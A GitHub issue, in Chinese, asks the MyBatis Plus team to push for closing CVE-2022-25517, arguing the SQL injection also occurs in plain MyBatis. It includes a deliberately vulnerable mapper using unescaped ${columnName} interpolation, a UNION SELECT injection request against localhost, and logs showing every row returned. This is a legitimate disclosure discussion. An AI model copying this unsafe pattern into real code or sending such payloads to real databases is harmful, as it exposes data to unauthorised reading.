确认

  • [X] 我的版本是最新版本, 我的版本号与 version 相同, 并且项目里无依赖冲突
  • [X] 我已经在 issue 中搜索过, 确认问题没有被提出过
  • [X] 我已经修改标题, 将标题中的 描述 替换为遇到的问题

功能改进

Hi Team,

我在一家外企工作,使用 SYNK 扫描 CVE issues,其记录了 CVE-2022-25517 SQL Injection POC。因此我们可能会被禁止使用 mybatis plus。

关于这个 issue 的争论,我觉得最简单的方式就是看看仅仅使用 mybatis 是否可以复现此问题。如果单纯用 mybatis 也可以,那显然 mybatis plus 无需做任何修复。

而我的验证结果是仅仅使用 mybatis 仍然可以复现此问题,因此要么将 mybatis 也 include 到这个 CVE issue,要么 mybatis plus 也不应该 own 这个 issue。这里我想麻烦 Mybatis Plus team 进一步推动 CVE 官方关闭这个问题。我相信此类审计在其他大型公司中也是存在的。

这是我复现此问题的代码: https://github.com/XSun771/demos/tree/mybatis-sql-injection

简单来说,

    @RequestMapping("/enquiry")
    public String enquiry(@RequestBody Enquiry enquiry) {
        return this.articleMapper.select(enquiry.getColumnName(),enquiry.getColumnValue()).toString();
    }
    @Select("SELECT * FROM ARTICLES WHERE ${columnName} = #{columnValue}")
    List<Article> select(@Param("columnName") String columnName, @Param("columnValue") String columnValue);

攻击测试:

POST http://localhost:9000/enquiry
Content-Type: application/json

{
  "columnName": "(id=1) UNION SELECT * FROM ARTICLES WHERE 1=1 OR id",
  "columnValue": "1"
}

结果:

2024-09-16T11:42:48.220+08:00 DEBUG 2736 --- [mybatis-sql-injection] [nio-9000-exec-2] c.e.m.ArticleMapper.select               : ==>  Preparing: SELECT * FROM ARTICLES WHERE (id=1) UNION SELECT * FROM ARTICLES WHERE 1=1 OR id = ?
2024-09-16T11:42:48.229+08:00 DEBUG 2736 --- [mybatis-sql-injection] [nio-9000-exec-2] c.e.m.ArticleMapper.select               : ==> Parameters: 1(String)
2024-09-16T11:42:48.244+08:00 DEBUG 2736 --- [mybatis-sql-injection] [nio-9000-exec-2] c.e.m.ArticleMapper.select               : <==      Total: 3

[Article(id=1, title=foo, author=foo), Article(id=2, title=bar, author=bar), Article(id=3, title=333, author=333)]

参考资料

No response